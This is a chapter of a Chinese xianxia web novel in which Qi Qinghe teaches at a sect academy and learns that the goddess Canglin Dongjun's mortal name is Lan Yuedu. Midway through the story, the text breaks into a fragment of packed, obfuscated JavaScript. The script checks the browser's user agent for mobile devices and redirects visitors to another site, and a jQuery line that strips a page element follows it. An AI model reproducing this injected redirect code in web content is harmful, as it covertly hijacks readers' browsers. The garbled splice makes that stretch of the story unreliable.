祈清和话音将落,这位瞌睡犯困的修士却不知何时醒了过来,亦或是本就未睡,他一动不动,只是懒散的声音幽幽传来,随口纠正了祈清和言语中的错漏处。 “无人相,无众生相,无寿者相,才修一切善法。” “再背不好,今晚宵夜就没了。” 凉亭里错落不断的背书声倏然停止了,众人齐刷刷回头看过来,支吾半天却不敢吭声。 这位覆面小憩的懒散修士声音略有不满:“怎么啦?别一心只在吃上,赶紧背,我还等着放班呢。” 终于,有个小弟子忍不住,欲哭无泪,鹌鹑似的委屈巴巴道。 “惠长老,冤枉啊,不是我们背的……” …… 哗啦一声。 一直偷闲的“惠长老”猛地坐起身来,覆面的古书也因此凌乱落地,茫茫天光冷不防刺了一下眼睛,理论上,此刻应当闭目适应光线。 可这位“惠长老”顾不得这些,他抬手半挡住阳光,硬睁着要被刺出泪水眼睛,以一种诧异直愣愣地凝视着站在眼前的青衫女子。 天光笼罩下来,美丽又神圣。 祈清和眉梢轻蹙,神情有些古怪,垂落的指尖轻轻摩挲着握着的第八十六号玉简。 「86.谢家有一天之骄子,其名惠顾,极为狂妄,今后以“瓶盖”二字代之。」 原来这位惠长老,也曾是谢家人么? 34.身在云间 祈清和最终应下了这份委托。 帮惠顾照料相盈山的学子们,比想象的轻松一些,哪怕惠顾长老不在,相盈山也有条不紊地运转着。 身着劲装的修士呼喝起落,这是要考武夷体术;埋首书卷的弟子口吐白沫双眼翻白,这是要考《紫清指玄集》…… 当然,还有部分弟子带着贡品前往山中道观,虔诚叩首,听说这是学海绝望走投无路时会选择的玄学作法。 祈清和非常惊讶地发现,她对不问都书庐中所存的每一本古籍书册,内功心法,皆烂熟于心。 也不知道她求学问道时的功课学业如何。 既然对这些学识烂熟,那她应当学业不错?这样想着,祈清和把六七百多年前能找到的优秀学生名录翻了一遍,却没找到“兰月渡”这个名字。 倒是“江南音”这个名字频频出现。 …… 祈清和捂脸。 她该不会,以前,学业……不太好吧? 希望一会儿代课时,别误人子弟了。 祈清和摸着时辰来到相盈山山间,穿过青苔洞门,沿着石子小径往里走,古树参天,林荫布道,数座蓝瓦白墙的楼阁坐落,抬头可见一方木匾,笔走龙蛇写着「流孤书院」四个字。 “是新的夫子诶——” 还未进学堂中,便听得悉悉索索嘈杂议论声传来。 “夫子好漂亮,看起来好善良的样子!” “呜呜终于不用挨惠老头的打了,真好。” 一群叽叽喳喳宗门学子一个个躲在树后探头探脑,齐刷刷眼前一亮,好奇又清澈地偷瞧着新来的陌生夫子。 阳光暖得让人倦怠,白清长袍,乌发如云,清冷出尘的姑娘怀抱书卷,神色温和,她一步一步走来,仿若三月春光里最为柔软和煦的清风。 “没大没小。” 祈清和显然听到了这些学子们的讨论,她努力模仿惠顾的那副模样,嗔笑。 “我姓祈,祈岁清明安和,祈清和。” 祈清和抱着书卷走进院内,流孤书院是半露天设计,几方屏风、软垫、书几有序摆放设计,便是坐而开坛论道。 见她走来,原本藏起来的学子们慢吞吞地走出来,老老实实鞠躬行礼。 祈清和放下手中书卷,目光扫了一圈,倏然笑了。 “你们这里谁修为最好?” 学子们不明所以,互相对视,悄悄嘀咕半天,而后,人群中慢吞吞走出来一个高大健壮的魁梧修士,他比祈清和高出大半个头,虽不知为何被点名,但仍然老老实实依规行礼。 祈清和挑眉:“不必留手,同我过招,我试试你们武学基础。” 高大修士一个哆嗦,这可是师长!以下犯上按照宗规要被关禁闭的! 他身后的同窗非常看热闹不嫌事大,个个面含期待双眼亮晶晶,试图给予他勇气。 然而勇气这种缥缈的东西不是说有就能有的。 最终,高大修士认命半,再度行礼。 “多得冒犯,还望请夫子赐教——” 一阵劲风扫来。 祈清和敏锐地感知到空气中传来法术波动,负手往旁一避,并不接招亦不出招,只是足尖轻点,云淡风起避开了每一次袭击。 等走过十余招后,祈清和估摸着差不多了,翻手为刃,径直借力化作己用,一招直接将人打得半身僵直麻木。 高大修士痛呼一声,倒地不起。 祈清和抬眸正色:“你的起手式时出招就慢了,第三招不稳,第七招时步伐紊乱……刺、劈、撩等基础功都存在问题。” 所有人纷纷倒吸一口凉气,顿时低头拒绝和祈清和对视,跟鹌鹑似的不敢吭声。 疼!看起来比惠老头打人疼多了! 祈清和连发丝都没乱一下,她云淡风轻地跪坐在最前方的软垫上,撑手托腮一点一点打量在场所有人,含笑道。 “我听惠长老说,你们修行到了五行剑阵一章,嗯?” 学子们小鸡啄米式点头。 祈清和失笑,至于吗至于吗!她不过就试了一下他们的武学进度,又不是真的打人! 她扶额:“你们先坐下,我们再说。” 学子们忙不迭席地而座,规规矩矩。 祈清和指尖在书几上一点一点:“五行剑阵,是将万物相生相克的思维融入剑法中,属于一种非常适合入门者习剑的取巧思路。” 她话音柔和下来,有些胆子大的学子便开始试探着出声发言。 “对!是以前苍灵东君提出来的修道理念!” 祈清和指尖一转,法术流转,于是周遭顿时风声簌簌。 “其核心在于,敌强己弱时,借力打力,借外力,借五行力,借天地之力,化繁为简,一木支危楼。” 她指尖一顿,风声停,一片细长落叶悠悠于空飘落。 “听懂万物生灵的无相言语,才方以天地为号。” 那片树叶落于祈清和指尖,又拈叶飞花而出,于空一掷,那落叶顷刻间便死死钉在树上。 有学子困惑:“道理如此说,但具体又该怎样做呢?” 祈清和看着提问的学子,眸光清亮,笑道。 “你不觉得我们身处的,是一个非常有意思的世界吗?” “在这里,人、神、妖之间的界限并无那般清晰,是以共存共生。譬如人们上巳祈春于神,而司春之兽则让百鸟草木生长,譬如人们祈祷避开灾祸,于是天降玄鸟,化作天女燕庇佑人间。” “而万物亦遵循相生相克之理,譬如强大如骊龙,自有犼兽克之。” 人们相信山川草木皆有灵,相信所祈必有所应。 天地回应这份祈求,人开始借助地脉灵气,求道修身,可成神成仙。 “懂了!”有个学子作恍然大悟状,“所以我们要尊重自然规律!” 有另一位学子看不下去了:“你怎么还没听懂祈夫子的话?不仅仅是尊重,更是要在此基础上学会利用。” 有学子懵懂:“那什么祈祷都会被回应吗?” 祈清和摇头,失笑道:“自然不会。” “天破须补,水滥则治,日落而逐。”祈清和说着,指尖一点,方才钉在树干上的那片树叶轻飘飘又落下,没在泥里,成为路过蚂蚁的一方庇护。 “如果任何事情都是依赖天地回应,那人的意义又在何呢?” “是哦!”有学子听得激动纷纷,顿时道,“所以我们才有东君娘娘!苍灵上仙便是以一己之力,封煞补天!” “非常好。”祈清和微笑,“现在我需要你们举一反三,再谈个例子让我听听。” 顿时鸦雀无声。 终于,有个细小的声音弱弱开口:“那个……南音尊者的故事,算不算啊?” 祈清和一顿:“南音尊者?江南音?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12785418|123701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有位比较内向胆怯的弟子思忖好半天,终于鼓起勇气道。 “我觉得,强调人与天互相沟通的例子,应该就是几百年前南音尊者的故事最经典了。” 祈清和倒真不知晓此故事,顿时生了兴趣,笑道:“说来听听?” “相传,南音尊者在几百多年前来到不问都,求道问仙,而当年四海曾有一处仙葩奇境,生长着一棵树,又唤菩提建木神树,无花无果,但若心诚,能令其花盛开,便可得道成仙。” “而南音尊者在进入仙葩奇境后,当真心诚则灵,神树绽花,而后,南音尊者不知所踪,世人猜测,定是成仙后归隐于天地中了。” 祈清和目光蓦地顿住。 她……见过那神树所绽开的花。 那花,并没有什么能让人得道成仙的能力…… 长生并蒂双花,一花可解百毒,一花可塑道骨。 但是江南音呢?按照这个故事的说法,江南音是在去了那仙葩奇境而后失踪的? 得再查查这个故事。 西阳残落,今日课业时辰结束,学子们欢呼雀跃的同时仍旧恋恋不舍,非常恭敬地向着祈清和行礼道。 “祈夫子,您讲课真好!懂得真多!” 祈清和失笑,心道只求你们一定化为己用啊别听过就忘啊。 书院众人陆陆续续散去,祈清和不着急走,原地等了好一会儿,只见一只倦在树间打盹儿的蓝白色豹猫踩着林间枝桠轻跃而来,灵巧地在她脚下来回环绕着。 “喵呀~” 祈清和看着猫儿形态的应知离失笑,你怎么没一点“猛兽”的气概,听起来就像一只真正的猫儿似的。 一人一猫向着书院反方向走去。 有关四海十洲内神仙们的宝卷记载,都存放在相盈山的道观中。 离开书院时是夜幕降临,俯瞰望去,膳食堂早已熄了灯打烊,倒是书舍、自习堂、书庐等一路灯火通明,在夜色中熠熠生辉。 为了学业不挂科,哪怕垂死的鱼也要挣扎几下呢。 道观夜间几乎没什么人,非常典雅古朴的建筑,香火袅袅,几方宝殿伫立在云海里,平和慈悲。 道观门前的匾额提着几个端庄郑重的几个大字—— 「东君观」 这里是苍灵上仙的道观。 祈清和顺着台阶走进观内,只见正殿中,一座白玉雕像供奉其间,素衣阖眸,如一轮温和清亮的皎皎明月,聆听着芸芸众生的声音。 月出皎兮,佼人僚兮。 鬼使神差的,祈清和向着雕像走去,发现高台周围,密密麻麻堆着什么东西。 一堆吃的。 面食甜点饮料等一应俱全,因有灵力加护,所以未沾一丝灰尘,复杂一点的有红豆糍糕、四果蜜饯、毕罗糕等,朴素一点便是糖饼馒头、青团。 是这几日相信玄学的弟子虔诚送上的贡品。 东君娘娘保佑我别挂科啊! 大家好像因为不知东君的喜好,所以酸甜苦辣咸五味齐全,祈清和望着这些贡品,不禁哑然。 很快,她的眸光愣住,仿佛天地时光在此刻倏然停止,万物寂灭。 只见雕像旁的台前立着一块用来科普介绍的木牌,而在最上方,标注着几个清晰的字迹。 【苍灵东君】 【凡名:兰月渡】 苍灵东君的凡名,兰月渡。